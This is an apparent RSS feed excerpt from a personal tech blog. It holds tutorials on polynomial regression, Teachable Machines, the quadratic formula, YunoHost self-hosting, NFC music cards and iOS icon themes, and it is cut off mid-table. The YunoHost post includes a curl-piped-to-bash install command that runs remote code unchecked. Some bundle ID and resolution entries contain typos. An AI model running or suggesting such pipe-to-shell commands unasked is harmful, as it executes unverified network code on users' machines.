<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">216972400.0</span><span class="err"> </span><span class="nc">a,b,c,d,e,f</span><span class="p">:</span><span class="err"> </span><span class="nc">27.660324</span><span class="err"> </span><span class="nc">-245.69016</span><span class="err"> </span><span class="nc">318.10062</span><span class="err"> </span><span class="nc">2483.3608</span><span class="err"> </span><span class="nc">7957.354</span><span class="err"> </span><span class="nc">20027.707</span>
<span class="nt">216972400.0</span><span class="na"> 27.660324 -245.69016 318.10062 2483.3608 7957.354 20027.707</span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
<span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient3</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient4</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient5</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">'ro'</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Original data'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">'Fitted line'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">'Quintic Regression Result'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>
<p><img src="/assets/gciTales/03-regression/6.png" alt="" /></p>
<h2 id="results-and-conclusion">Results and Conclusion</h2>
<p>You just learnt Polynomial Regression using TensorFlow!</p>
<h2 id="notes">Notes</h2>
<h3 id="overfitting">Overfitting</h3>
<blockquote>
<blockquote>
<p>Overfitting refers to a model that models the training data too well.
Overfitting happens when a model learns the detail and noise in the training data to the extent that it negatively impacts the performance of the model on new data. This means that the noise or random fluctuations in the training data is picked up and learned as concepts by the model. The problem is that these concepts do not apply to new data and negatively impact the models ability to generalise.</p>
</blockquote>
</blockquote>
<blockquote>
<p>Source: Machine Learning Mastery</p>
</blockquote>
<p>Basically if you train your machine learning model on a small dataset for a really large number of epochs, the model will learn all the deformities/noise in the data and will actually think that it is a normal part. Therefore when it will see some new data, it will discard that new data as noise and will impact the accuracy of the model in a negative manner</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html
</guid>
<title>
Image Classifier With Teachable Machines
</title>
<description>
Tutorial on creating a custom image classifier quickly with Google Teachable Machines
</description>
<link>https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html</link>
<pubDate>Wed, 04 Dec 2019 18:23:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="image-classifier-with-teachable-machines">Image Classifier With Teachable Machines</h1>
<p>Made for Google Code-In</p>
<p><strong>Task Description</strong></p>
<p>Using Glitch and the Teachable Machines, build a Book Detector with Tensorflow.js. When a book is recognized, the code would randomly suggest a book/tell a famous quote from a book. Here is an example Project to get you started: https://glitch.com/~voltaic-acorn</p>
<h3 id="details">Details</h3>
<p>1) Collecting Data</p>
<p>Teachable Machine allows you to create your dataset just by using your webcam! I created a database consisting of three classes ( Three Books ) and approximately grabbed 100 pictures for each book/class</p>
<p><img src="/assets/gciTales/01-teachableMachines/01-collect.png" alt="" /></p>
<p>2) Training</p>
<p>Training on teachable machines is as simple as clicking the train button. I did not even have to modify any configurations. </p>
<p><img src="/assets/gciTales/01-teachableMachines/02-train.png" alt="" /></p>
<p>3) Finding Labels</p>
<p>Because I originally entered the entire name of the book and it's author's name as the label, the class name got truncated (Note to self, use shorter class names :p ). I then modified the code to print the modified label names in an alert box. </p>
<p><img src="/assets/gciTales/01-teachableMachines/03-label.png" alt="" /></p>
<p><img src="/assets/gciTales/01-teachableMachines/04-alert.png" alt="" /></p>
<p>4) Adding a suggestions function</p>
<p>I first added a text field on the main page and then modified the JavaScript file to suggest a similar book whenever the model predicted with an accuracy >= 98% </p>
<p><img src="/assets/gciTales/01-teachableMachines/05-html.png" alt="" /></p>
<p><img src="/assets/gciTales/01-teachableMachines/06-js.png" alt="" /></p>
<p>5) Running!</p>
<p>Here it is running!</p>
<p><img src="/assets/gciTales/01-teachableMachines/07-eg.png" alt="" /></p>
<p><img src="/assets/gciTales/01-teachableMachines/08-eg.png" alt="" /></p>
<p>Remix this project:-</p>
<p>https://luminous-opinion.glitch.me</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html
</guid>
<title>
Quadratic Formula Derivation
</title>
<description>
Quick derivation of the quadratic equation by completing the square
</description>
<link>https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html</link>
<pubDate>Tue, 26 Mar 2024 15:36:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="quadratic-formula-derivation">Quadratic Formula Derivation</h1>
<p>The standard form of a quadratic equation is:</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>a</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mi>b</mi><mi>x</mi><mo>+</mo><mi>c</mi><mo>=</mo><mn>0</mn></mrow></math>
<p>Here, <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi><mo>,</mo><mi>b</mi><mo>,</mo><mi>c</mi><mo>∈</mo><mi>ℝ</mi></mrow></math>, and <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi><mo>≠</mo><mn>0</mn></mrow></math></p>
<p>We begin by first dividing both sides by the coefficient <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mi>a</mi></mrow></math></p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>⟹</mi><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>+</mo><mfrac><mrow><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>=</mo><mn>0</mn></mrow></math>
<p>We can rearrange the equation:</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>=</mo><mo>−</mo><mfrac><mrow><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac></mrow></math>
<p>We can then use the method of completing the square. (<a rel="noopener" target="_blank" href="https://www.mathsisfun.com/algebra/completing-square.html">Maths is Fun</a> has a really good explanation for this technique)</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mi>x</mi><mo>+</mo><mo stretchy="false">(</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><mfrac><mrow><mo>−</mo><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>+</mo><mo stretchy="false">(</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow></math>
<p>On our LHS, we can clearly recognize that it is the expanded form of <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mi>d</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup></mrow></math> i.e <math xmlns="http://www.w3.org/1998/Math/MathML" display="inline"><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>2</mn><mi>x</mi><mi>·</mi><mi>d</mi><mo>+</mo><msup><mi>d</mi><mn>2</mn></msup></mrow></math></p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>⟹</mi><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><mfrac><mrow><mo>−</mo><mi>c</mi></mrow><mrow><mi>a</mi></mrow></mfrac><mo>+</mo><mfrac><mrow><msup><mi>b</mi><mn>2</mn></msup></mrow><mrow><mn>4</mn><msup><mi>a</mi><mn>2</mn></msup></mrow></mfrac><mo>=</mo><mfrac><mrow><mo>−</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup></mrow><mrow><mn>4</mn><msup><mi>a</mi><mn>2</mn></msup></mrow></mfrac></mrow></math>
<p>Taking the square root of both sides</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mtable displaystyle="true" rowspacing="3pt" columnspacing="0em 2em"><mtr><mtd columnalign="right"><mi>x</mi><mo>+</mo><mfrac><mrow><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd><mtd columnalign="left"><mi /><mo>=</mo><mfrac><mrow><msqrt><mrow><mo>−</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr><mtr><mtd columnalign="right"><mi>x</mi></mtd><mtd columnalign="left"><mi /><mo>=</mo><mfrac><mrow><mi>±</mi><msqrt><mrow><mo>−</mo><mn>4</mn><mi>a</mi><mi>c</mi><mo>+</mo><msup><mi>b</mi><mn>2</mn></msup></mrow></msqrt><mo>−</mo><mi>b</mi></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr><mtr><mtd columnalign="right" /><mtd columnalign="left"><mi /><mo>=</mo><mfrac><mrow><mo>−</mo><mi>b</mi><mi>±</mi><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>−</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mtd></mtr></mtable></mrow></math>
<p>This gives you the world famous quadratic formula:</p>
<math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><mrow><mi>x</mi><mo>=</mo><mfrac><mrow><mo>−</mo><mi>b</mi><mi>±</mi><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>−</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mrow></math>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html
</guid>
<title>
Why You No Host?
</title>
<description>
Why you should self-host with YunoHost
</description>
<link>https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html</link>
<pubDate>Fri, 05 Aug 2022 14:46:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="why-you-no-host">Why You No Host?</h1>
<p><img src="/assets/y-u-n-o/meme.png" alt="" /></p>
<p>With all these data leaks happening every other day, why have you not started self-hosting?</p>
<p>The title refers to the “Y U No Host” internet meme, which led to the name of “YunoHost”, an operating system aiming to democratise self-hosting. This post tries to discuss the idea that anyone can self-host and why you should consider YunoHost.</p>
<h2 id="should-you-self-host">Should you Self-Host?</h2>
<ul>
<li>Do you get annoyed when half of the internet goes down because everything a few major companies host the majority of the internet?
<ul>
<li><a rel="noopener" target="_blank" href="https://blog.cloudflare.com/cloudflare-outage-on-june-21-2022/">Cloudflare outage</a></li>
<li><a rel="noopener" target="_blank" href="https://www.fiercetelecom.com/cloud/extended-aws-outage-disrupts-services-across-globe">Amazon Web Services outage</a></li>
<li><a rel="noopener" target="_blank" href="https://www.crn.com/news/cloud/google-cloud-outage-takes-major-websites-and-apps-down">Google Cloud Platform outage</a></li>
</ul></li>
<li>Do you get annoyed when lifetime promises go bust and you don’t actually own anything?
<ul>
<li><a rel="noopener" target="_blank" href="https://support.google.com/photos/answer/10100180?hl=en">Google Photos Unlimited Storage ending</a></li>
<li><a rel="noopener" target="_blank" href="https://www.theverge.com/2018/1/9/16867380/nextbit-smart-storage-cloud-service-shut-down-robin-phone">Nextbit shutting down its Smart Storage Cloud</a> </li>
<li><a rel="noopener" target="_blank" href="https://www.theverge.com/2022/7/8/23199861/playstation-store-film-tv-show-removed-austria-germany-studiocanal">Sony removing purchased movies from libraries</a></li>
</ul></li>
<li>How about account suspensions without any prior notice?
<ul>
<li><a rel="noopener" target="_blank" href="https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=account%20suspended&sort=byPopularity&type=story">Hacker News stories with “account suspended“</a></li>
</ul></li>
<li>Do you value security and privacy?</li>
<li>Or, do you want a new hobby?</li>
</ul>
<p>These are just some of the reasons to self-host.</p>
<h2 id="what-if-you-dont-know-anything">What if you don’t know anything?</h2>
<p>No one is born with the knowledge of knowing how to orchestrate a cluster. You can always learn how to, but sometimes you just don’t have the time or energy. YunoHost tries to ease this issue by providing a clean web-interface. You do not even need to touch the command line for all the basic tasks.</p>
<h2 id="what-should-you-self-host">What should you self-host?</h2>
<p>Anything and everything! The best part about self-hosting is that you own the data. This data is not going to be sold to the highest bidder.</p>
<p>Just because you like watching YouTube does not mean you cannot self-host a privacy friendly front-end for it on your server. Why stop there, why not create your own Google Drive / Dropbox alternative and host it on your own with actual unlimited storage, where the only limit is how much capacity you want. Do you own tons of audiobooks or DVDs/Blu-rays? Simply host an audiobook server or create your own personal Netflix and share it with your friends and family.</p>
<p>Do you own a small-business? Do you hate the idea of having your sensitive e-mails stored on someone else’s server? Why not setup your own mail server, with contacts and calendar syncing.</p>
<p>Do you run a small hobby group? Why not host a forum for everyone to discuss on? Or, simply a chat server where everyone can hop on and text, or call.</p>
<p>Although you can do all of this (and much more!) without needing to use YunoHost, it just makes it easy to manage.</p>
<h2 id="what-do-i-need-to-self-host">What do I need to self-host?</h2>
<ul>
<li>A decent internet connection if you plan on using the services outside your home network and hosting at home</li>
<li>Anything that can run Debian 10/11. Some examples:
<ul>
<li>A used server/PC bought in a Library/University’s liquidation sale</li>
<li>An old laptop nobody uses</li>
<li>A Raspberry Pi 4</li>
<li>A VPS (Checkout Linode, Hetzner, OVH)</li>
</ul></li>
<li>Some patience</li>
</ul>
<h2 id="what-is-yunohosthttpsyunohostorgenwhatsyunohostq2fwhatsyunohost"><a rel="noopener" target="_blank" href="https://yunohost.org/en/whatsyunohost?q=%2Fwhatsyunohost">What is YunoHost</a>?</h2>
<p><a rel="noopener" target="_blank" href="https://yunohost.org/">YunoHost</a> is a server operating system which takes guesswork out of Self-Hosting. Out of the box it provides:</p>
<ul>
<li>a web-interface for easy administration</li>
<li>few click app deployments </li>
<li>multiple user support (with exposed ldap to integrate with your apps)</li>
<li>automatic ssl certificate management for your domains</li>
<li>integrated backup and restoration for all apps</li>
<li>security features (fail2ban, firewall)</li>
<li>Free *.noho.st domain(s)!</li>
</ul>
<p>and much more!</p>
<h3 id="why-did-i-choose-yunohost">Why did I choose YunoHost?</h3>
<p>I began my self-hosting journey with a Raspberry Pi 4 (4GB). I looked at tons of options for the base management layer:</p>
<ul>
<li><a rel="noopener" target="_blank" href="https://sandstorm.io/install">Sandstorm</a> - Does not run on arm64</li>
<li><a rel="noopener" target="_blank" href="https://www.cloudron.io">Cloudron</a> - 2 app limitation on the free tier
<ul>
<li>Although I don’t have a problem with paying for software licenses, having an app limit on something which you are self-hosting and you don’t want support is kind of confusing</li>
</ul></li>
<li>Plain <a rel="noopener" target="_blank" href="https://ubuntu.com/download/server">Ubuntu Server</a> - I didn’t want to waste time configuring everything</li>
</ul>
<p>One look at the user portal and I was sold. Yep, more than the features it was the app screen which looked like elements from the periodic table which sold me on the idea of using YunoHost. </p>
<p>Although there is no “correct“ way to self-host, YunoHost is indeed an easier way.</p>
<p><img src="/assets/y-u-n-o/ssys.png" alt="YunoHost SSO Login Screen" />
<img src="/assets/y-u-n-o/ssyp.png" alt="YunoHost Portal" />
<img src="/assets/y-u-n-o/ssyw.png" alt="YunoHost Web Admin" /></p>
<p>The stock Raspberry Pi image provided by YunoHost meant you don’t run in full arm64 mode. I had to first install Debian and then install YunoHost to get full arm64 goodness. </p>
<p>Setting up the domain was as painless as following the online web admin diagnosis page to copy paste DNS records. </p>
<p>The easiest way to deploy any app is to use Docker. I dislike this approach for a variety of reasons but I am not going to cover them here. All YunoHost apps are packaged to run on bare-metal for the best performance. See an app that does not have pre-compiled binaries? The package installer will download the latest source, install dependencies, compile, and then clean all the unnecessary files. Because you are running Debian after all, you can always SSH into the server and install docker if you want to. You can even install Portainer through YunoHost’s app catalogue if you really want to. </p>
<p>Also, YunoHost has been here for a long time! <a rel="noopener" target="_blank" href="https://news.ycombinator.com/item?id=7894838">Here</a> is an old Hacker News post about YunoHost. All the projects mentioned in the comments? Dead. </p>
<h3 id="what-do-i-self-host">What do I self-host?</h3>
<h4 id="audiobookshelf-an-audiobook-server">audiobookshelf - an audiobook server</h4>
<p><img src="/assets/y-u-n-o/ssabs.png" alt="Audiobook server" /></p>
<h4 id="ergo-chat-an-irc-server">ergo chat - an IRC server</h4>
<p><img src="/assets/y-u-n-o/sst.png" alt="Screenshot of Textual Client connected to my IRC server" /></p>
<h4 id="freshrss-rss-aggregator">FreshRSS - RSS aggregator</h4>
<p><img src="/assets/y-u-n-o/ssfr.png" alt="Screenshot of FreshRSS" /></p>
<h4 id="gitea-self-hosted-git">Gitea - self-hosted git</h4>
<h4 id="screenshot-of-gitea-dashboard-with-logs-about-repository-mirroringassetsy-u-n-ossgipng"><img src="/assets/y-u-n-o/ssgi.png" alt="Screenshot of Gitea dashboard with logs about repository mirroring" /></h4>
<h4 id="grafana-metrics-dashboard">Grafana - Metrics dashboard</h4>
<p><img src="/assets/y-u-n-o/ssgr.png" alt="Grafana Dashboard" /></p>
<h4 id="home-assistant-home-automation-platform">Home Assistant - Home automation platform</h4>
<p><img src="/assets/y-u-n-o/ssha.png" alt="Screenshot of Home Assistant dashboard" /></p>
<h4 id="jellyfin-media-server">Jellyfin - Media server</h4>
<p><img src="/assets/y-u-n-o/ssj.png" alt="Screenshot of Jellyfin showing movies " /></p>
<h4 id="listmonk-newsletter-and-mailing-list-manager">Listmonk - Newsletter and Mailing List manager</h4>
<p><img src="/assets/y-u-n-o/ssl.png" alt="Screenshot of ListMonk" /></p>
<h4 id="minio-server-s3-compatible-storage-server">MinIO Server - S3 compatible storage server</h4>
<p><img src="/assets/y-u-n-o/ssm.png" alt="Screenshot of MinIO console" /></p>
<h4 id="nextcloud-storage-file-sharing-etc">Nextcloud - Storage, file-sharing, e.t.c</h4>
<p><img src="/assets/y-u-n-o/ssn.png" alt="Screenshot of Nextcloud dashboard" /></p>
<h4 id="syncthing-continuous-file-synchronization">Syncthing - continuous file synchronization</h4>
<p><img src="/assets/y-u-n-o/sss.png" alt="Screenshot of Synching dashboard" /></p>
<h4 id="vaultwarden-bitwarden-server">Vaultwarden - Bitwarden server</h4>
<p><img src="/assets/y-u-n-o/ssv.png" alt="Screenshot of Vaultwarden loading screen" /></p>
<h4 id="wallabag-read-it-later-app">Wallabag - Read it later app</h4>
<p><img src="/assets/y-u-n-o/ssw.png" alt="Screenshot of Wallabag" /></p>
<h4 id="h5ai-http-server-index">h5ai - HTTP server index</h4>
<p><img src="/assets/y-u-n-o/ssh.png" alt="Screenshot of h5ai" /></p>
<h2 id="how-do-i-install-yunohost">How do I install YunoHost?</h2>
<ol>
<li>Install minimal Debian 10/11 on your preferred machine</li>
<li><code>curl https://install.yunohost.org | bash</code></li>
</ol>
<p>Done!</p>
<h2 id="should-you-actually-self-host-everything">Should you actually self-host everything?</h2>
<p>Highly context dependent. I run two YunoHost servers in two different locations. One of the ISP has actually blacklisted the residential IP address range and does not let me change my reverseDNS, which means all my outgoing emails are marked as spam. On the other hand, the other ISP gave a clean static IP and the server managed for a small business is not at all problematic for emailing. YMMV but at least you know you have an option.</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html
</guid>
<title>
Basic NFC Music Cards for iOS
</title>
<description>
Basic NFC Music Cards on iOS with Shortcuts
</description>
<link>https://web.navan.dev/posts/2021-06-25-NFC-Music-Cards-Basic-iOS.html</link>
<pubDate>Fri, 25 Jun 2021 16:20:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="basic-nfc-music-cards-for-ios">Basic NFC Music Cards for iOS</h1>
<p>I had a pack of NFC cards and decided it was the perfect time to create Music Cards. I do not have a "music setup."
So, I did not have to ensure this could work with any device. I settled with using Shortcuts personal Automation.</p>
<h2 id="designing-the-template">Designing the Template</h2>
<p>I tried measuring the card's dimensions with the in-built Measure app, but it was off by a few mm. </p>
<p><img src="/assets/posts/music-cards/failed-measure.png" alt="Failed Attempt to Measure" /></p>
<p>After measuring with a scale, I decided on a simple template I made in Apple Pages.</p>
<p><img src="/assets/posts/music-cards/basic-template.png" alt="Screenshot of the Basic Template" /></p>
<p><img src="/assets/posts/music-cards/mccartney-iii.png" alt="Screenshot of Design for McCartney III" /></p>
<h2 id="creating-the-automation">Creating the Automation</h2>
<p>I created a personal automation in the Shortcuts app which got triggered when a particular NFC card was scanned, ask playback destination and play the album/playlist.</p>
<p><img src="/assets/posts/music-cards/shortcuts-01.png" alt="Screenshot of Shortcuts App" /></p>
<p><img src="/assets/posts/music-cards/shortcuts-02.png" alt="Screenshot of Automation Summary" /></p>
<h2 id="demo">Demo</h2>
<iframe width="560" height="315" src="https://www.youtube.com/embed/pV5EPujEI-Y" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html
</guid>
<title>
Creating your own custom theme for Snowboard or Anemone
</title>
<description>
Tutorial on creating your own custom theme for Snowboard or Anemone
</description>
<link>https://web.navan.dev/posts/2019-05-05-Custom-Snowboard-Anemone-Theme.html</link>
<pubDate>Sun, 05 May 2019 12:34:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="creating-your-own-custom-theme-for-snowboard-or-anemone">Creating your own custom theme for Snowboard or Anemone</h1>
<h3 id="contents">Contents</h3>
<ul>
<li>Getting Started</li>
<li>Theme Configuration</li>
<li>Creating Icons</li>
<li>Exporting Icons</li>
<li>Icon Masks</li>
<li>Packaging</li>
<li>Building the DEB</li>
</ul>
<h2 id="getting-started">Getting Started</h2>
<p><strong>Note: Without the proper folder structure, your theme may not show up!</strong></p>
<ul>
<li>Create a new folder called <code>themeName.theme</code> (Replace themeName with your desired theme name)</li>
<li>Within <code>themeName.theme</code> folder, create another folder called <code>IconBundles</code> (<strong>You cannot change this name</strong>)</li>
</ul>
<h2 id="theme-configuration">Theme Configuration</h2>
<ul>
<li>Now, inside the <code>themeName.theme</code> folder, create a file called <code>Info.plist</code> and paste the following</li>
</ul>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PackageName</key>
<string>ThemeName</string>
<key>ThemeType</key>
<string>Icons</string>
</dict>
</plist>
</code></pre>
<ul>
<li>Replace <code>PackageName</code> with the name of the Package and replace <code>ThemeName</code> with the Theme Name</li>
</ul>
<p>Now, you might ask what is the difference between <code>PackageName</code> and <code>ThemeName</code>?</p>
<p>Well, if for example you want to publish two variants of your icons, one dark and one white but you do not want the user to separately install them.
Then, you would name the package <code>MyTheme</code> and include two themes <code>Blackie</code> and <code>White</code> thus creating two entries. More about this in the end</p>
<h2 id="creating-icons">Creating Icons</h2>
<ul>
<li>Open up the Image Editor of your choice and create a new file having a resolution of 512x512</li>
</ul>
<p><strong>Note: Due to IconBundles, we just need to create the icons in one size and they get resized automatically</strong> :ghost:</p>
<p><strong>Want to create rounded icons?</strong>
Create them squared only, we will learn how to apply masks!</p>
<h2 id="exporting-icons">Exporting Icons</h2>
<p><strong>Note: All icons must be saved as <code>*.png</code> (Tip: This means you can even create partially transparent icons!)</strong></p>
<ul>
<li>All Icons must be saved in <code>themeName.theme>IconBundles</code> as <code>bundleID-large.png</code></li>
</ul>
<h5 id="finding-bundleids">Finding BundleIDs</h5>
<p><strong>Stock Application BundleIDs</strong></p>
<table>
<thead>
<tr>
<th>Name</th>
<th>BundleID</th>
</tr>
</thead>
<tbody>
<tr>
<td>App Store</td>
<td>com.apple.AppStore</td>
</tr>
<tr>
<td>Apple Watch</td>
<td>com.apple.Bridge</td>
</tr>
<tr>
<td>Calculator</td>
<td>com.apple.calculator</td>
</tr>
<tr>
<td>Calendar</td>
<td>com.apple.mobilecal</td>
</tr>
<tr>
<td>Camera</td>
<td>com.apple.camera</td>
</tr>
<tr>
<td>Classroom</td>
<td>com.apple.classroom</td>
</tr>
<tr>
<td>Clock</td>
<td>com.apple.mobiletimer</td>
</tr>
<tr>
<td>Compass</td>
<td>com.apple.compass</td>
</tr>
<tr>
<td>FaceTime</td>
<td>com.apple.facetime</td>
</tr>
<tr>
<td>Files</td>
<td>com.apple.DocumentsApp</td>
</tr>
<tr>
<td>Game Center</td>
<td>com.apple.gamecenter</td>
</tr>
<tr>
<td>Health</td>
<td>com.apple.Health</td>
</tr>
<tr>
<td>Home</td>
<td>com.apple.Home</td>
</tr>
<tr>
<td>iBooks</td>
<td>com.apple.iBooks</td>
</tr>
<tr>
<td>iTunes Store</td>
<td>com.apple.MobileStore</td>
</tr>
<tr>
<td>Mail</td>
<td>com.apple.mobilemail</td>
</tr>
<tr>
<td>Maps</td>
<td>com.apple.Maps</td>
</tr>
<tr>
<td>Measure</td>
<td>com.apple.measure</td>
</tr>
<tr>
<td>Messages</td>
<td>com.apple.MobileSMS</td>
</tr>
<tr>
<td>Music</td>
<td>com.apple.Music</td>
</tr>
<tr>
<td>News</td>
<td>com.apple.news</td>
</tr>
<tr>
<td>Notes</td>
<td>com.apple.mobilenotes</td>
</tr>
<tr>
<td>Phone</td>
<td>com.apple.mobilephone</td>
</tr>
<tr>
<td>Photo Booth</td>
<td>com.apple.Photo-Booth</td>
</tr>
<tr>
<td>Photos</td>
<td>com.apple.mobileslideshow</td>
</tr>
<tr>
<td>Playgrounds</td>
<td>come.apple.Playgrounds</td>
</tr>
<tr>
<td>Podcasts</td>
<td>com.apple.podcasts</td>
</tr>
<tr>
<td>Reminders</td>
<td>com.apple.reminders</td>
</tr>
<tr>
<td>Safari</td>
<td>com.apple.mobilesafari</td>
</tr>
<tr>
<td>Settings</td>
<td>com.apple.Preferences</td>
</tr>
<tr>
<td>Stocks</td>
<td>com.apple.stocks</td>
</tr>
<tr>
<td>Tips</td>
<td>com.apple.tips</td>
</tr>
<tr>
<td>TV</td>
<td>com.apple.tv</td>
</tr>
<tr>
<td>Videos</td>
<td>com.apple.videos</td>
</tr>
<tr>
<td>Voice Memos</td>
<td>com.apple.VoiceMemos</td>
</tr>
<tr>
<td>Wallet</td>
<td>com.apple.Passbook</td>
</tr>
<tr>
<td>Weather</td>
<td>com.apple.weather</td>
</tr>
</tbody>
</table>
<p><strong>3rd Party Applications BundleID</strong>
Click <a rel="noopener" target="_blank" href="http://offcornerdev.com/bundleid.html">here</a></p>
<h3 id="icon-masks">Icon Masks</h3>
<ul>
<li>Getting the Classic Rounded Rectangle Masks</li>
</ul>
<p>In your <code>Info.plist</code> file add the following value between <code><dict></code> and </dict></p>
<pre><code><key>IB-MaskIcons</key>
<true/>
</code></pre>
<ul>
<li>Custom Icon Masks</li>
</ul>
<p><strong>NOTE: This is an optional step, if you do not want Icon Masks, skip this step</strong></p>
<ul>
<li>Inside your <code>themeName.theme</code> folder, create another folder called 'Bundles'
<ul>
<li>Inside <code>Bundles</code> create another folder called <code>com.apple.mobileicons.framework</code></li>
</ul></li>
</ul>
<h4 id="designing-masks">Designing Masks</h4>
<p><strong>Masking does not support IconBundles, therefore you need to save the masks for each of the following</strong></p>
<table>
<thead>
<tr>
<th>File</th>
<th>Resolution</th>
</tr>
</thead>
<tbody>
<tr>
<td>AppIconMask@2x~ipad.png</td>
<td>152x512</td>
</tr>
<tr>
